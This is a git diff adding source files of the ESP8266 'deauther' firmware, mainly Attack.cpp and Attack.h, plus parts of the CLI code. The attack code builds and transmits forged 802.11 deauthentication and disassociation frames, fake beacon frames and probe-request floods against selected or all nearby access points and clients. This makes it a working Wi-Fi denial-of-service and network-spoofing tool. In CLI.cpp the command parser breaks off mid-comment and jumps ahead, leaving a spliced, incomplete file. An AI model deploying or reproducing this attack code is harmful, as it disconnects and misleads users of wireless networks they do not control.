deselectAll(); + void removeAll(); + + String getSSID(int num); + String getNameStr(int num); + String getEncStr(int num); + String getMacStr(int num); + String getVendorStr(int num); + String getSelectedStr(int num); + uint8_t getCh(int num); + uint8_t getEnc(int num); + uint8_t getID(int num); + int getRSSI(int num); + uint8_t* getMac(int num); + bool getHidden(int num); + bool getSelected(int num); + + int find(uint8_t id); + + int count(); + int selected(); + + bool check(int num); + bool changed = false; + + private: + SimpleList* list; + + bool internal_check(int num); + void internal_select(int num); + void internal_deselect(int num); + void internal_remove(int num); +}; + +#endif // ifndef Accesspoints_h \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/esp8266_deauther/Attack.cpp b/enp8266/esp8266_deauther-master/esp8266_deauther/Attack.cpp new file mode 100755 index 0000000..a3fd957 --- /dev/null +++ b/enp8266/esp8266_deauther-master/esp8266_deauther/Attack.cpp @@ -0,0 +1,458 @@ +#include "Attack.h" + +Attack::Attack() { + getRandomMac(mac); + + if (settings.getBeaconInterval()) { + // 1s beacon interval + beaconPacket[32] = 0xe8; + beaconPacket[33] = 0x03; + } else { + // 100ms beacon interval + beaconPacket[32] = 0x64; + beaconPacket[33] = 0x00; + } + + deauth.time = currentTime; + beacon.time = currentTime; + probe.time = currentTime; +} + +void Attack::start() { + stop(); + prntln(A_START); + attackTime = currentTime; + attackStartTime = currentTime; + accesspoints.sortAfterChannel(); + stations.sortAfterChannel(); + running = true; +} + +void Attack::start(bool beacon, bool deauth, bool deauthAll, bool probe, bool output, uint32_t timeout) { + Attack::beacon.active = beacon; + Attack::deauth.active = deauth || deauthAll; + Attack::deauthAll = deauthAll; + Attack::probe.active = probe; + + Attack::output = output; + Attack::timeout = timeout; + + // if (((beacon || probe) && ssids.count() > 0) || (deauthAll && scan.countAll() > 0) || (deauth && + // scan.countSelected() > 0)){ + if (beacon || probe || deauthAll || deauth) { + start(); + } else { + prntln(A_NO_MODE_ERROR); + accesspoints.sort(); + stations.sort(); + stop(); + } +} + +void Attack::stop() { + if (running) { + running = false; + deauthPkts = 0; + beaconPkts = 0; + probePkts = 0; + deauth.packetCounter = 0; + beacon.packetCounter = 0; + probe.packetCounter = 0; + deauth.maxPkts = 0; + beacon.maxPkts = 0; + probe.maxPkts = 0; + packetRate = 0; + deauth.tc = 0; + beacon.tc = 0; + probe.tc = 0; + prntln(A_STOP); + } +} + +bool Attack::isRunning() { + return running; +} + +void Attack::updateCounter() { + // stop when timeout is active and time is up + if ((timeout > 0) && (currentTime - attackStartTime >= timeout)) { + prntln(A_TIMEOUT); + stop(); + return; + } + + // deauth packets per second + if (deauth.active) { + if (deauthAll) deauth.maxPkts = settings.getDeauthsPerTarget() * + (accesspoints.count() + stations.count() * 2 - names.selected()); + else deauth.maxPkts = settings.getDeauthsPerTarget() * + (accesspoints.selected() + stations.selected() * 2 + names.selected() + names.stations()); + } else { + deauth.maxPkts = 0; + } + + // beacon packets per second + if (beacon.active) { + beacon.maxPkts = ssids.count(); + + if (!settings.getBeaconInterval()) beacon.maxPkts *= 10; + } else { + beacon.maxPkts = 0; + } + + // probe packets per second + if (probe.active) probe.maxPkts = ssids.count() * settings.getProbesPerSSID(); + else probe.maxPkts = 0; + + // random transmission power + if (settings.getRandomTX() && (beacon.active || probe.active)) setOutputPower(random(21)); + else setOutputPower(20.5f); + + // reset counters + deauthPkts = deauth.packetCounter; + beaconPkts = beacon.packetCounter; + probePkts = probe.packetCounter; + packetRate = tmpPacketRate; + deauth.packetCounter = 0; + beacon.packetCounter = 0; + probe.packetCounter = 0; + deauth.tc = 0; + beacon.tc = 0; + probe.tc = 0; + tmpPacketRate = 0; +} + +void Attack::status() { + char s[120]; + + sprintf(s, str( + A_STATUS).c_str(), packetRate, deauthPkts, deauth.maxPkts, beaconPkts, beacon.maxPkts, probePkts, + probe.maxPkts); + prnt(String(s)); +} + +String Attack::getStatusJSON() { + String json = String(OPEN_BRACKET); // [ + + json += String(OPEN_BRACKET) + b2s(deauth.active) + String(COMMA) + String(scan.countSelected()) + String(COMMA) + + String(deauthPkts) + String(COMMA) + String(deauth.maxPkts) + String(CLOSE_BRACKET) + String(COMMA); // [false,0,0,0], + json += String(OPEN_BRACKET) + b2s(beacon.active) + String(COMMA) + String(ssids.count()) + String(COMMA) + String( + beaconPkts) + String(COMMA) + String(beacon.maxPkts) + String(CLOSE_BRACKET) + String(COMMA); // [false,0,0,0], + json += String(OPEN_BRACKET) + b2s(probe.active) + String(COMMA) + String(ssids.count()) + String(COMMA) + String( + probePkts) + String(COMMA) + String(probe.maxPkts) + String(CLOSE_BRACKET) + String(COMMA); // [false,0,0,0], + json += String(packetRate); // 0 + json += CLOSE_BRACKET; // ] + + return json; +} + +void Attack::update() { + if (!running || scan.isScanning()) return; + + apCount = accesspoints.count(); + stCount = stations.count(); + nCount = names.count(); + + // run/update all attacks + deauthUpdate(); + deauthAllUpdate(); + beaconUpdate(); + probeUpdate(); + + // each second + if (currentTime - attackTime > 1000) { + attackTime = currentTime; // update time + updateCounter(); + + if (output) status(); // status update + getRandomMac(mac); // generate new random mac + } +} + +void Attack::deauthUpdate() { + if (!deauthAll && deauth.active && (deauth.maxPkts > 0) && (deauth.packetCounter < deauth.maxPkts)) { + if (deauth.time <= currentTime - (1000 / deauth.maxPkts)) { + // APs + if ((apCount > 0) && (deauth.tc < apCount)) { + if (accesspoints.getSelected(deauth.tc)) { + deauth.tc += deauthAP(deauth.tc); + } else deauth.tc++; + } + + // Stations + else if ((stCount > 0) && (deauth.tc >= apCount) && (deauth.tc < stCount + apCount)) { + if (stations.getSelected(deauth.tc - apCount)) { + deauth.tc += deauthStation(deauth.tc - apCount); + } else deauth.tc++; + } + + // Names + else if ((nCount > 0) && (deauth.tc >= apCount + stCount) && (deauth.tc < nCount + stCount + apCount)) { + if (names.getSelected(deauth.tc - stCount - apCount)) { + deauth.tc += deauthName(deauth.tc - stCount - apCount); + } else deauth.tc++; + } + + // reset counter + if (deauth.tc >= nCount + stCount + apCount) deauth.tc = 0; + } + } +} + +void Attack::deauthAllUpdate() { + if (deauthAll && deauth.active && (deauth.maxPkts > 0) && (deauth.packetCounter < deauth.maxPkts)) { + if (deauth.time <= currentTime - (1000 / deauth.maxPkts)) { + // APs + if ((apCount > 0) && (deauth.tc < apCount)) { + tmpID = names.findID(accesspoints.getMac(deauth.tc)); + + if (tmpID < 0) { + deauth.tc += deauthAP(deauth.tc); + } else if (!names.getSelected(tmpID)) { + deauth.tc += deauthAP(deauth.tc); + } else deauth.tc++; + } + + // Stations + else if ((stCount > 0) && (deauth.tc >= apCount) && (deauth.tc < stCount + apCount)) { + tmpID = names.findID(stations.getMac(deauth.tc - apCount)); + + if (tmpID < 0) { + deauth.tc += deauthStation(deauth.tc - apCount); + } else if (!names.getSelected(tmpID)) { + deauth.tc += deauthStation(deauth.tc - apCount); + } else deauth.tc++; + } + + // Names + else if ((nCount > 0) && (deauth.tc >= apCount + stCount) && (deauth.tc < apCount + stCount + nCount)) { + if (!names.getSelected(deauth.tc - apCount - stCount)) { + deauth.tc += deauthName(deauth.tc - apCount - stCount); + } else deauth.tc++; + } + + // reset counter + if (deauth.tc >= nCount + stCount + apCount) deauth.tc = 0; + } + } +} + +void Attack::probeUpdate() { + if (probe.active && (probe.maxPkts > 0) && (probe.packetCounter < probe.maxPkts)) { + if (probe.time <= currentTime - (1000 / probe.maxPkts)) { + if (settings.getBeaconChannel()) setWifiChannel(probe.tc % 11); + probe.tc += sendProbe(probe.tc); + + if (probe.tc >= ssids.count()) probe.tc = 0; + } + } +} + +void Attack::beaconUpdate() { + if (beacon.active && (beacon.maxPkts > 0) && (beacon.packetCounter < beacon.maxPkts)) { + if (beacon.time <= currentTime - (1000 / beacon.maxPkts)) { + beacon.tc += sendBeacon(beacon.tc); + + if (beacon.tc >= ssids.count()) beacon.tc = 0; + } + } +} + +bool Attack::deauthStation(int num) { + return deauthDevice(stations.getAPMac(num), stations.getMac(num), settings.getDeauthReason(), stations.getCh(num)); +} + +bool Attack::deauthAP(int num) { + return deauthDevice(accesspoints.getMac(num), broadcast, settings.getDeauthReason(), accesspoints.getCh(num)); +} + +bool Attack::deauthName(int num) { + if (names.isStation(num)) { + return deauthDevice(names.getBssid(num), names.getMac(num), settings.getDeauthReason(), names.getCh(num)); + } else { + return deauthDevice(names.getMac(num), broadcast, settings.getDeauthReason(), names.getCh(num)); + } +} + +bool Attack::deauthDevice(uint8_t* apMac, uint8_t* stMac, uint8_t reason, uint8_t ch) { + if (!stMac) return false; // exit when station mac is null + + // Serial.println("Deauthing "+macToStr(apMac)+" -> "+macToStr(stMac)); // for debugging + + bool success = false; + + // build deauth packet + packetSize = sizeof(deauthPacket); + memcpy(&deauthPacket[4], stMac, 6); + memcpy(&deauthPacket[10], apMac, 6); + memcpy(&deauthPacket[16], apMac, 6); + deauthPacket[24] = reason; + + // send deauth frame + deauthPacket[0] = 0xc0; + + if (sendPacket(deauthPacket, packetSize, ch, settings.getForcePackets())) { + success = true; + deauth.packetCounter++; + } + + // send disassociate frame + deauthPacket[0] = 0xa0; + + if (sendPacket(deauthPacket, packetSize, ch, settings.getForcePackets())) { + success = true; + deauth.packetCounter++; + } + + // send another packet, this time from the station to the accesspoint + if (!macBroadcast(stMac)) { // but only if the packet isn't a broadcast + // build deauth packet + memcpy(&deauthPacket[4], apMac, 6); + memcpy(&deauthPacket[10], stMac, 6); + memcpy(&deauthPacket[16], stMac, 6); + + // send deauth frame + deauthPacket[0] = 0xc0; + + if (sendPacket(deauthPacket, packetSize, ch, settings.getForcePackets())) { + success = true; + deauth.packetCounter++; + } + + // send disassociate frame + deauthPacket[0] = 0xa0; + + if (sendPacket(deauthPacket, packetSize, ch, settings.getForcePackets())) { + success = true; + deauth.packetCounter++; + } + } + + if (success) deauth.time = currentTime; + + return success; +} + +bool Attack::sendBeacon(uint8_t tc) { + if (settings.getBeaconChannel()) setWifiChannel(tc % 11); + mac[5] = tc; + return sendBeacon(mac, ssids.getName(tc).c_str(), wifi_channel, ssids.getWPA2(tc)); +} + +bool Attack::sendBeacon(uint8_t* mac, const char* ssid, uint8_t ch, bool wpa2) { + packetSize = sizeof(beaconPacket); + + if (wpa2) { + beaconPacket[34] = 0x31; + } else { + beaconPacket[34] = 0x21; + packetSize -= 26; + } + + int ssidLen = strlen(ssid); + + if (ssidLen > 32) ssidLen = 32; + + memcpy(&beaconPacket[10], mac, 6); + memcpy(&beaconPacket[16], mac, 6); + memcpy(&beaconPacket[38], ssid, ssidLen); + + beaconPacket[82] = ch; + + // ===== + uint16_t tmpPacketSize = (packetSize - 32) + ssidLen; // calc size + uint8_t* tmpPacket = new uint8_t[tmpPacketSize]; // create packet buffer + memcpy(&tmpPacket[0], &beaconPacket[0], 38 + ssidLen); // copy first half of packet into buffer + tmpPacket[37] = ssidLen; // update SSID length byte + memcpy(&tmpPacket[38 + ssidLen], &beaconPacket[70], wpa2 ? 39 : 13); // copy second half of packet into buffer + + if (sendPacket(tmpPacket, tmpPacketSize, ch, settings.getForcePackets())) { + beacon.time = currentTime; + beacon.packetCounter++; + delete tmpPacket; // free memory of allocated buffer + return true; + } else { + delete tmpPacket; // free memory of allocated buffer + return false; + } + // ===== +} + +bool Attack::sendProbe(uint8_t tc) { + if (settings.getBeaconChannel()) setWifiChannel(tc % 11); + mac[5] = tc; + return sendProbe(mac, ssids.getName(tc).c_str(), wifi_channel); +} + +bool Attack::sendProbe(uint8_t* mac, const char* ssid, uint8_t ch) { + packetSize = sizeof(probePacket); + int ssidLen = strlen(ssid); + + if (ssidLen > 32) ssidLen = 32; + + memcpy(&probePacket[10], mac, 6); + memcpy(&probePacket[26], ssid, ssidLen); + + if (sendPacket(probePacket, packetSize, ch, settings.getForcePackets())) { + probe.time = currentTime; + probe.packetCounter++; + return true; + } + + return false; +} + +bool Attack::sendPacket(uint8_t* packet, uint16_t packetSize, uint8_t ch, uint16_t tries) { + // Serial.println(bytesToStr(packet, packetSize)); + + // set channel + setWifiChannel(ch); + + // sent out packet + bool sent = wifi_send_pkt_freedom(packet, packetSize, 0) == 0; + + // try again until it's sent out + for (int i = 0; i < tries && !sent; i++) sent = wifi_send_pkt_freedom(packet, packetSize, 0) == 0; + + if (sent) tmpPacketRate++; + + return sent; +} + +void Attack::enableOutput() { + output = true; + prntln(A_ENABLED_OUTPUT); +} + +void Attack::disableOutput() { + output = false; + prntln(A_DISABLED_OUTPUT); +} + +uint32_t Attack::getDeauthPkts() { + return deauthPkts; +} + +uint32_t Attack::getBeaconPkts() { + return beaconPkts; +} + +uint32_t Attack::getProbePkts() { + return probePkts; +} + +uint32_t Attack::getDeauthMaxPkts() { + return deauth.maxPkts; +} + +uint32_t Attack::getBeaconMaxPkts() { + return beacon.maxPkts; +} + +uint32_t Attack::getProbeMaxPkts() { + return probe.maxPkts; +} + +uint32_t Attack::getPacketRate() { + return packetRate; +} \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/esp8266_deauther/Attack.h b/enp8266/esp8266_deauther-master/esp8266_deauther/Attack.h new file mode 100755 index 0000000..c6858e5 --- /dev/null +++ b/enp8266/esp8266_deauther-master/esp8266_deauther/Attack.h @@ -0,0 +1,207 @@ +#ifndef Attack_h +#define Attack_h + +#include "Arduino.h" +#include +extern "C" { + #include "user_interface.h" +} +#include "language.h" +#include "Accesspoints.h" +#include "Stations.h" +#include "SSIDs.h" +#include "Settings.h" +#include "Scan.h" + +extern Settings settings; +extern SSIDs ssids; +extern Accesspoints accesspoints; +extern Stations stations; +extern Scan scan; + +extern uint8_t wifi_channel; +extern uint8_t broadcast[6]; +extern uint32_t currentTime; + +extern bool macBroadcast(uint8_t* mac); +extern void getRandomMac(uint8_t* mac); +extern void setOutputPower(float dBm); +extern String macToStr(uint8_t* mac); +extern String bytesToStr(uint8_t* b, uint32_t size); +extern void setWifiChannel(uint8_t ch); +extern bool writeFile(String path, String& buf); +extern int8_t free80211_send(uint8_t* buffer, uint16_t len); + +class Attack { + public: + Attack(); + + void start(); + void start(bool beacon, bool deauth, bool deauthAll, bool probe, bool output, uint32_t timeout); + void stop(); + void update(); + + void enableOutput(); + void disableOutput(); + void status(); + String getStatusJSON(); + + bool deauthAP(int num); + bool deauthStation(int num); + bool deauthName(int num); + bool deauthDevice(uint8_t* apMac, uint8_t* stMac, uint8_t reason, uint8_t ch); + + bool sendBeacon(uint8_t tc); + bool sendBeacon(uint8_t* mac, const char* ssid, uint8_t ch, bool wpa2); + + bool sendProbe(uint8_t tc); + bool sendProbe(uint8_t* mac, const char* ssid, uint8_t ch); + + bool sendPacket(uint8_t* packet, uint16_t packetSize, uint8_t ch, uint16_t tries); + + bool isRunning(); + + uint32_t getDeauthPkts(); + uint32_t getBeaconPkts(); + uint32_t getProbePkts(); + uint32_t getDeauthMaxPkts(); + uint32_t getBeaconMaxPkts(); + uint32_t getProbeMaxPkts(); + + uint32_t getPacketRate(); + + private: + void deauthUpdate(); + void deauthAllUpdate(); + void beaconUpdate(); + void probeUpdate(); + + void updateCounter(); + + bool running = false; + bool output = true; + + struct AttackType { + bool active = false; // if attack is activated + uint16_t packetCounter = 0; // how many packets are sent per second + uint16_t maxPkts = 0; // how many packets should be sent per second + uint8_t tc = 0; // target counter, i.e. which AP or SSID + uint32_t time = 0; // time last packet was sent + }; + + AttackType deauth; + AttackType beacon; + AttackType probe; + bool deauthAll = false; + + uint32_t deauthPkts = 0; + uint32_t beaconPkts = 0; + uint32_t probePkts = 0; + + uint32_t tmpPacketRate = 0; + uint32_t packetRate = 0; + + uint8_t apCount = 0; + uint8_t stCount = 0; + uint8_t nCount = 0; + + int8_t tmpID = -1; + + uint16_t packetSize = 0; + uint32_t attackTime = 0; // for counting how many packets per second + uint32_t attackStartTime = 0; + uint32_t timeout = 0; + + // random mac address for making the beacon packets + uint8_t mac[6] = { 0xAA, 0xBB, 0xCC, 0x00, 0x11, 0x22 }; + + uint8_t deauthPacket[26] = { + /* 0 - 1 */ 0xC0, 0x00, // type, subtype c0: deauth (a0: disassociate) + /* 2 - 3 */ 0x00, 0x00, // duration (SDK takes care of that) + /* 4 - 9 */ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // reciever (target) + /* 10 - 15 */ 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // source (ap) + /* 16 - 21 */ 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // BSSID (ap) + /* 22 - 23 */ 0x00, 0x00, // fragment & squence number + /* 24 - 25 */ 0x01, 0x00 // reason code (1 = unspecified reason) + }; + + uint8_t probePacket[68] = { + /* 0 - 1 */ 0x40, 0x00, // Type: Probe Request + /* 2 - 3 */ 0x00, 0x00, // Duration: 0 microseconds + /* 4 - 9 */ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // Destination: Broadcast + /* 10 - 15 */ 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, // Source: random MAC + /* 16 - 21 */ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // BSS Id: Broadcast + /* 22 - 23 */ 0x00, 0x00, // Sequence number (will be replaced by the SDK) + /* 24 - 25 */ 0x00, 0x20, // Tag: Set SSID length, Tag length: 32 + /* 26 - 57 */ 0x20, 0x20, 0x20, 0x20, // SSID + 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, + /* 58 - 59 */ 0x01, 0x08, // Tag Number: Supported Rates (1), Tag length: 8 + /* 60 */ 0x82, // 1(B) + /* 61 */ 0x84, // 2(B) + /* 62 */ 0x8b, // 5.5(B) + /* 63 */ 0x96, // 11(B) + /* 64 */ 0x24, // 18 + /* 65 */ 0x30, // 24 + /* 66 */ 0x48, // 36 + /* 67 */ 0x6c // 54 + }; + + uint8_t beaconPacket[109] = { + /* 0 - 3 */ 0x80, 0x00, 0x00, 0x00, // Type/Subtype: managment beacon frame + /* 4 - 9 */ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // Destination: broadcast + /* 10 - 15 */ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source + /* 16 - 21 */ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source + + // Fixed parameters + /* 22 - 23 */ 0x00, 0x00, // Fragment & sequence number (will be done by the SDK) + /* 24 - 31 */ 0x83, 0x51, 0xf7, 0x8f, 0x0f, 0x00, 0x00, 0x00, // Timestamp + /* 32 - 33 */ 0xe8, 0x03, // Interval: 0x64, 0x00 => every 100ms - 0xe8, 0x03 => every 1s + /* 34 - 35 */ 0x31, 0x00, // capabilities Tnformation + + // Tagged parameters + + // SSID parameters + /* 36 - 37 */ 0x00, 0x20, // Tag: Set SSID length, Tag length: 32 + /* 38 - 69 */ 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, // SSID + + // Supported Rates + /* 70 - 71 */ 0x01, 0x08, // Tag: Supported Rates, Tag length: 8 + /* 72 */ 0x82, // 1(B) + /* 73 */ 0x84, // 2(B) + /* 74 */ 0x8b, // 5.5(B) + /* 75 */ 0x96, // 11(B) + /* 76 */ 0x24, // 18 + /* 77 */ 0x30, // 24 + /* 78 */ 0x48, // 36 + /* 79 */ 0x6c, // 54 + + // Current Channel + /* 80 - 81 */ 0x03, 0x01, // Channel set, length + /* 82 */ 0x01, // Current Channel + + // RSN information + /* 83 - 84 */ 0x30, 0x18, + /* 85 - 86 */ 0x01, 0x00, + /* 87 - 90 */ 0x00, 0x0f, 0xac, 0x02, + /* 91 - 92 */ 0x02, 0x00, + /* 93 - 100 */ 0x00, 0x0f, 0xac, 0x04, 0x00, 0x0f, 0xac, 0x04, /*Fix: changed 0x02(TKIP) to 0x04(CCMP) is default. WPA2 with TKIP not supported by many devices*/ + /* 101 - 102 */ 0x01, 0x00, + /* 103 - 106 */ 0x00, 0x0f, 0xac, 0x02, + /* 107 - 108 */ 0x00, 0x00 + }; +}; + +#endif // ifndef Attack_h \ No newline at end of file diff --git a/enp8266/esp8266_deauther-master/esp8266_deauther/CLI.cpp b/enp8266/esp8266_deauther-master/esp8266_deauther/CLI.cpp new file mode 100755 index 0000000..d32a5ae --- /dev/null +++ b/enp8266/esp8266_deauther-master/esp8266_deauther/CLI.cpp @@ -0,0 +1,1173 @@ +#include "CLI.h" + +/* + Shitty code used less resources so I will keep this clusterfuck as it is, + but if you're interested I made a library for this: github.com/spacehuhn/SimpleCLI + */ + +CLI::CLI() { + list = new SimpleList; + queue = new SimpleList; +} + +CLI::~CLI() {} + +void CLI::load() { + String defaultValue = str(CLI_DEFAULT_AUTOSTART); + checkFile(execPath, defaultValue); + execFile(execPath); +} + +void CLI::load(String filepath) { + execPath = filepath; + load(); +} + +void CLI::enable() { + enabled = true; + prntln(CLI_SERIAL_ENABLED); +} + +void CLI::disable() { + enabled = true; + prntln(CLI_SERIAL_DISABLED); +} + +void CLI::update() { + // when serial available, read input + if (Serial.available() > 0) { + String input = Serial.readStringUntil('\n'); + exec(input); + } + + // when queue is not empty, delay is off and no scan is active, run it + else if ((queue->size() > 0) && !delayed && !scan.isScanning() && !attack.isRunning()) { + String s = queue->shift(); + exec(s); + } +} + +void CLI::stop() { + queue->clear(); + prntln(CLI_STOPPED_SCRIPT); +} + +void CLI::enableDelay(uint32_t delayTime) { + delayed = true; + this->delayTime = delayTime; + delayStartTime = millis(); +} + +void CLI::exec(String input) { + // quick exit when input is empty + if (input.length() == 0) return; + + // check delay + if (delayed && (millis() - delayStartTime > delayTime)) { + delayed = false; + prntln(CLI_RESUMED); + } + + // when delay is on, add it to queue, else run it + if (delayed) { + queue->add(input); + } else { + runLine(input); + } +} + +void CLI::execFile(String path) { + String input; + + if (readFile(path, input)) { + String tmpLine; + char tmpChar; + + input += '\n'; + + while (!queue->isEmpty()) { + input += queue->shift(); + input += '\n'; + } + + for (int i = 0; i < input.length(); i++) { + tmpChar = input.charAt(i); + + if (tmpChar == '\n') { + queue->add(tmpLine); + tmpLine = String(); + } else { + tmpLine += tmpChar; + } + } + + queue->add(tmpLine); + } +} + +void CLI::error(String message) { + prnt(CLI_ERROR); + prntln(message); +} + +void CLI::parameterError(String parameter) { + prnt(CLI_ERROR_PARAMETER); + prnt(parameter); + prntln(DOUBLEQUOTES); +} + +bool CLI::isInt(String str) { + if (eqls(str, STR_TRUE) || eqls(str, STR_FALSE)) return true; + + for (uint32_t i = 0; i < str.length(); i++) + if (!isDigit(str.charAt(i))) return false; + + return true; +} + +int CLI::toInt(String str) { + if (eqls(str, STR_TRUE)) return 1; + else if (eqls(str, STR_FALSE)) return 0; + else return str.toInt(); +} + +uint32_t CLI::getTime(String time) { + int value = time.toInt(); + + if (value < 0) value = -value; + + if (time.substring(time.length() - 1).equalsIgnoreCase(String(S))) value *= 1000; + else if (time.substring(time.length() - 3).equalsIgnoreCase(str(STR_MIN)) || + (time.charAt(time.length() - 1) == M)) value *= 60000; + return value; +} + +bool CLI::eqlsCMD(int i, const char* keyword) { + return eqls(list->get(i).c_str(), keyword); +} + +void CLI::runLine(String input) { + String tmp; + + for (int i = 0; i < input.length(); i++) { + // when 2 semicolons in a row without a backslash escaping the first + if ((input.charAt(i) == SEMICOLON) && (input.charAt(i + 1) == SEMICOLON) && + (input.charAt(i - 1) != BACKSLASH)) { + runCommand(tmp); + tmp = String(); + i++; + } else { + tmp += input.charAt(i); + } + } + + tmp.replace(BACKSLASH + SEMICOLON + SEMICOLON, SEMICOLON + SEMICOLON); + + if (tmp.length() > 0) runCommand(tmp); +} + +void CLI::runCommand(String input) { + input.replace(String(NEWLINE), String()); + input.replace(String(CARRIAGERETURN), String()); + + list->clear(); + + // parse/split input in list + String tmp; + bool withinQuotes = false; + bool escaped = false; + char c; + + for (uint32_t i = 0; i < input.length() && i < 512; i++) { + c = input.charAt(i); + + // when char is an unescaped + if (!escaped && (c == BACKSLASH)) { + escaped = true; + } + + // (when char is a unescaped space AND it's not within quotes) OR char is \r or \n + else if (((c == SPACE) && !escaped && !withinQuotes) || (c == CARRIAGERETURN) || (c == NEWLINE)) { + // when tmp string isn't empty, add it to the list + if (tmp.length() > 0) { + list->add(tmp); + tmp = String(); // reset tmp string + } + } + + // when char is an unescaped " + else if ((c == DOUBLEQUOTES) && !escaped) { + // update wheter or not the following chars are within quotes or not + withinQuotes = !withinQuotes; + + if ((tmp.length() == 0) && !withinQuotes) tmp += SPACE; // when exiting quotes and tmp string is empty, add + // a space + } + + // add character to tmp string + else { + tmp += c; + escaped = false; + } + } + + // add string if something is left from the loop above + if (tmp.length() > 0) list->add(tmp); + + // stop when input is empty/invalid + if (list->size() == 0) return; + + // print comments + if (list->get(0) == str(CLI_COMMENT)) { + prntln(input); + return; + } + + if (settings.getSerialEcho()) { + // print command + prnt(CLI_INPUT_PREFIX); + prntln(input); + } + + if (list->size() == 0) return; + + // ===== HELP ===== // + if (eqlsCMD(0, CLI_HELP)) { + prntln(CLI_HELP_HEADER); + + prntln(CLI_HELP_HELP); + prntln(CLI_HELP_SCAN); + prntln(CLI_HELP_SHOW); + prntln(CLI_HELP_SELECT); + prntln(CLI_HELP_DESELECT); + prntln(CLI_HELP_SSID_A); + prntln(CLI_HELP_SSID_B); + prntln(CLI_HELP_SSID_C); + prntln(CLI_HELP_NAME_A); + prntln(CLI_HELP_NAME_B); + prntln(CLI_HELP_NAME_C); + prntln(CLI_HELP_SET_NAME); + prntln(CLI_HELP_ENABLE_RANDOM); + prntln(CLI_HELP_DISABLE_RANDOM); + prntln(CLI_HELP_LOAD); + prntln(CLI_HELP_SAVE); + prntln(CLI_HELP_REMOVE_A); + prntln(CLI_HELP_REMOVE_B); + prntln(CLI_HELP_ATTACK); + prntln(CLI_HELP_ATTACK_STATUS); + prntln(CLI_HELP_STOP); + prntln(CLI_HELP_SYSINFO); + prntln(CLI_HELP_CLEAR); + prntln(CLI_HELP_FORMAT); + prntln(CLI_HELP_PRINT); + prntln(CLI_HELP_DELETE); + prntln(CLI_HELP_REPLACE); + prntln(CLI_HELP_COPY); + prntln(CLI_HELP_RENAME); + prntln(CLI_HELP_RUN); + prntln(CLI_HELP_WRITE); + prntln(CLI_HELP_GET); + prntln(CLI_HELP_SET); + prntln(CLI_HELP_RESET); + prntln(CLI_HELP_CHICKEN); + prntln(CLI_HELP_REBOOT); + prntln(CLI_HELP_INFO); + prntln(CLI_HELP_COMMENT); + prntln(CLI_HELP_SEND_DEAUTH); + prntln(CLI_HELP_SEND_BEACON); + prntln(CLI_HELP_SEND_PROBE); + prntln(CLI_HELP_LED_A); + prntln(CLI_HELP_LED_B); + prntln(CLI_HELP_LED_ENABLE); + prntln(CLI_HELP_DRAW); + prntln(CLI_HELP_SCREEN_ON); + prntln(CLI_HELP_SCREEN_MODE); + + prntln(CLI_HELP_FOOTER); + } + + // ===== SCAN ===== // + // scan [] [-t + else if (eqlsCMD(0, CLI_SCREEN) && eqlsCMD(1, CLI_MODE)) { + if (eqlsCMD(2, CLI_MODE_BUTTONTEST)) displayUI.mode = displayUI.DISPLAY_MODE::BUTTON_TEST; + else if (eqlsCMD(2, CLI_MODE_PACKETMONITOR)) displayUI.mode = displayUI.DISPLAY_MODE::PACKETMONITOR; + else if (eqlsCMD(2, CLI_MODE_LOADINGSCREEN)) displayUI.mode = displayUI.DISPLAY_MODE::LOADSCAN; + else if (eqlsCMD(2, CLI_MODE_MENU)) displayUI.mode = displayUI.DISPLAY_MODE::MENU; + else parameterError(list->get(2)); + prntln(CLI_CHANGED_SCREEN); + } + + // screen + else if (eqlsCMD(0, CLI_SCREEN) && (eqlsCMD(1, CLI_ON) || eqlsCMD(1, CLI_OFF))) { + if (eqlsCMD(1, CLI_ON)) { + displayUI.on(); + } else if (eqlsCMD(1, CLI_OFF)) { + displayUI.off(); + } + } + + // ===== NOT FOUND ===== // + else { + prnt(CLI_ERROR_NOT_FOUND_A); + prnt(input); + prntln(CLI_ERROR_NOT_FOUND_B); + // some debug stuff + + /* + Serial.println(list->get(0)); + for(int i=0;i +#include +extern "C" { + #include "user_interface.h" +} +#include "language.h" +#include "A_config.h" +#include "SimpleList.h" +#include "Settings.h" +#include "Names.h" +#include "SSIDs.h" +#include "Scan.h" +#include "Attack.h" +#include "DisplayUI.h" +#include "LED.h" + +extern LED led; +extern Settings settings; +extern Names names; +extern SSIDs ssids; +extern Accesspoints accesspoints; +extern Stations stations; +extern Scan scan; +extern Attack attack; +extern DisplayUI displayUI; +extern uint32_t currentTime; +extern uint32_t autosaveTime; + +extern String macToStr(uint8_t* mac); +extern void strToColor(String str, uint8_t* buf); +extern void readFileToSerial(String path, bool showLineNum); +extern bool readFile(String path, String& buf); +extern bool removeFile(String path); +extern bool copyFile(String pathFrom, String pathTo); +extern bool renameFile(String pathFrom, String pathTo); +extern bool appendFile(String path, String& buf); +extern bool removeLines(String path, int lineFrom, int lineTo); +extern bool replaceLine(String path, int line, String& buf); +extern bool equalsKeyword(const char* str, const char* keyword); +extern void printWifiStatus(); +extern void startAP(String path, String ssid, String password, uint8_t ch, bool hidden, bool captivePortal); +extern void wifiUpdate(); + +class CLI { + public: + CLI(); + ~CLI(); + + void load(); + void load(String filepath); + + void enable(); + void disable(); + + void update(); + void stop(); + + void enableDelay(uint32_t delayTime); + + void exec(String input); + void execFile(String path); + void runLine(String input); + void runCommand(String input); + + private: + bool enabled = false; 